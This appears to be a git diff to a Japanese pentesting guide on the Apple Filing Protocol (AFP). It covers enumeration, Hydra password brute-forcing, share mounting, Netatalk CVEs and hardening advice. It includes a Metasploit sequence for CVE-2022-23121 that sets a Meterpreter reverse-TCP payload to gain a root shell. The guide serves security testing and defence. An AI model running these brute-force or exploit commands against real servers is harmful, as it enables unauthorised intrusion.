diff --git a/src/network-services-pentesting/584-pentesting-afp.md b/src/network-services-pentesting/584-pentesting-afp.md index 4d02a6211..41b183cb8 100644 --- a/src/network-services-pentesting/584-pentesting-afp.md +++ b/src/network-services-pentesting/584-pentesting-afp.md @@ -4,27 +4,109 @@ ## 基本情報 -**Apple Filing Protocol** (**AFP**)は、かつてAppleTalk Filing Protocolとして知られていた、**Apple File Service** (**AFS**)に含まれる専門的なネットワークプロトコルです。これは、macOSおよび古典的なMac OSのためのファイルサービスを提供するように設計されています。AFPは、Unicodeファイル名、POSIXおよびアクセス制御リストの権限、リソースフォーク、名前付き拡張属性、そして高度なファイルロックメカニズムをサポートしている点で際立っています。これは、Mac OS 9およびそれ以前のバージョンにおけるファイルサービスの主要なプロトコルでした。 +**Apple Filing Protocol** (**AFP**)は、かつてAppleTalk Filing Protocolとして知られていた、**Apple File Service** (**AFS**)に含まれる専門的なネットワークプロトコルです。macOSおよび古典的なMac OSのためのファイルサービスを提供するように設計されています。AFPは、Unicodeファイル名、POSIXスタイルおよびACL権限、リソースフォーク、名前付き拡張属性、洗練されたファイルロックメカニズムをサポートしている点で際立っています。 -**デフォルトポート:** 548 +AFPは、現代のmacOSリリースではSMBに取って代わられています(OS X 10.9以降はSMBがデフォルト)。それでも、以下の環境で遭遇することがあります: + +* レガシーmacOS / Mac OS 9環境 +* オープンソースの**Netatalk**デーモンを組み込んだNASアプライアンス(QNAP、Synology、Western Digital、TrueNAS…) +* Time-Machine-over-AFPがまだ有効な混合OSネットワーク + +**デフォルトTCPポート:** **548**(TCP上のAFP / DSI) ```bash -PORT STATE SERVICE -548/tcp open afp +PORT STATE SERVICE +548/tcp open afp ``` -### **列挙** +--- -AFPサービスの列挙には、以下のコマンドとスクリプトが役立ちます: +## 列挙 + +### クイックバナー / サーバー情報 ```bash -msf> use auxiliary/scanner/afp/afp_server_info -nmap -sV --script "afp-* and not dos and not brute" -p +# Metasploit auxiliary +use auxiliary/scanner/afp/afp_server_info +run RHOSTS= + +# Nmap NSE +nmap -p 548 -sV --script "afp-* and not dos" ``` -**スクリプトとその説明:** +有用なAFP NSEスクリプト: -- **afp-ls**: このスクリプトは、利用可能なAFPボリュームとファイルをリストするために使用されます。 -- **afp-path-vuln**: すべてのAFPボリュームとファイルをリストし、潜在的な脆弱性を強調表示します。 -- **afp-serverinfo**: AFPサーバーに関する詳細情報を提供します。 -- **afp-showmount**: 利用可能なAFP共有とそれぞれのACLをリストします。 +| スクリプト | 何をするか | +|--------|--------------| +| **afp-ls** | 利用可能なAFPボリュームとファイルをリスト表示 | +| **afp-brute** | AFPログインに対するパスワードブルートフォース | +| **afp-serverinfo** | サーバー名、マシンタイプ、AFPバージョン、サポートされているUAMなどをダンプ | +| **afp-showmount** | 共有とそのACLを一緒にリスト表示 | +| **afp-path-vuln** | ディレクトリトラバーサル、CVE-2010-0533を検出(および悪用可能) | -### [**ブルートフォース**](../generic-hacking/brute-force.md#afp) +NSEブルートフォーススクリプトは、より多くの制御が必要な場合、Hydra/Medusaと組み合わせることができます: +```bash +hydra -L users.txt -P passwords.txt afp:// +``` +### シェアとの対話 +*macOS* +```bash +# Finder → Go → "Connect to Server…" +# or from terminal +mkdir /Volumes/afp +mount_afp afp://USER:[email protected]/SHARE /Volumes/afp +``` +*Linux* (using `afpfs-ng` ‑ ほとんどのディストリビューションにパッケージされています) +```bash +apt install afpfs-ng +mkdir /mnt/afp +mount_afp afp://USER:[email protected]/SHARE /mnt/afp +# or interactive client +afp_client +``` +マウントされたら、クラシックMacのリソースフォークは隠し`._*` AppleDoubleファイルとして保存されることを忘れないでください。これらはしばしばDFIRツールが見逃す興味深いメタデータを保持しています。 + +--- + +## 一般的な脆弱性と悪用 + +### Netatalkの認証なしRCEチェーン(2022) + +いくつかのNASベンダーは**Netatalk ≤3.1.12**を出荷しました。`parse_entries()`の境界チェックの欠如により、攻撃者は悪意のある**AppleDouble**ヘッダーを作成し、認証前に**リモートルート**を取得することができます(**CVSS 9.8 – CVE-2022-23121**)。Western-Digital PR4100を悪用するPoCを含むNCC Groupによる完全な詳細が利用可能です。 + +Metasploit (>= 6.3)は、DSI `WRITE`を介してペイロードを提供するモジュール`exploit/linux/netatalk/parse_entries`を出荷しています。 +```bash +use exploit/linux/netatalk/parse_entries +set RHOSTS +set TARGET 0 # Automatic (Netatalk) +set PAYLOAD linux/x64/meterpreter_reverse_tcp +run +``` +対象が影響を受けたQNAP/Synologyファームウェアを実行している場合、成功したエクスプロイトは**root**としてシェルを提供します。 + +### Netatalk OpenSession ヒープオーバーフロー (2018) + +古いNetatalk (3.0.0 - 3.1.11)は、**DSI OpenSession**ハンドラーにおけるバッファオーバーランの脆弱性があり、認証されていないコードの実行を可能にします (**CVE-2018-1160**)。詳細な分析とPoCはTenable Researchによって公開されました。 + +### その他の注目すべき問題 + +* **CVE-2022-22995** – AppleDouble v2が有効な場合に任意のファイル書き込み/RCEを引き起こすシンボリックリンクリダイレクション (3.1.0 - 3.1.17)。 +* **CVE-2010-0533** – Apple Mac OS X 10.6 AFPにおけるディレクトリトラバーサル (検出は`afp-path-vuln.nse`による)。 +* **Netatalk 4.x (2024)**では複数のメモリ安全性バグが修正されました – 個別のCVEをパッチするよりもアップグレードを推奨します。 + +--- + +## 防御的推奨事項 + +1. **AFPを無効にする** – SMB3またはNFSを代わりに使用してください。 +2. AFPを維持する必要がある場合は、**Netatalkを≥ 3.1.18または4.xにアップグレード**するか、2022/2023/2024のパッチをバックポートしたベンダーファームウェアを適用してください。 +3. **強力なUAM**(例:*DHX2*)を強制し、クリアテキストおよびゲストログインを無効にします。 +4. TCP 548を信頼できるサブネットに制限し、リモートで公開される場合はAFPをVPN内にラップします。 +5. CI/CDで`nmap -p 548 --script afp-*`を定期的にスキャンして、悪意のある/ダウングレードされた機器を検出します。 + +--- + +### [Brute-Force](../generic-hacking/brute-force.md#afp) + +## 参考文献 + +* Netatalkセキュリティアドバイザリー CVE-2022-23121 – "parse_entriesにおける任意のコード実行" +* Tenable Research – "18年前のバグを悪用する (CVE-2018-1160)" {{#include ../banners/hacktricks-training.md}}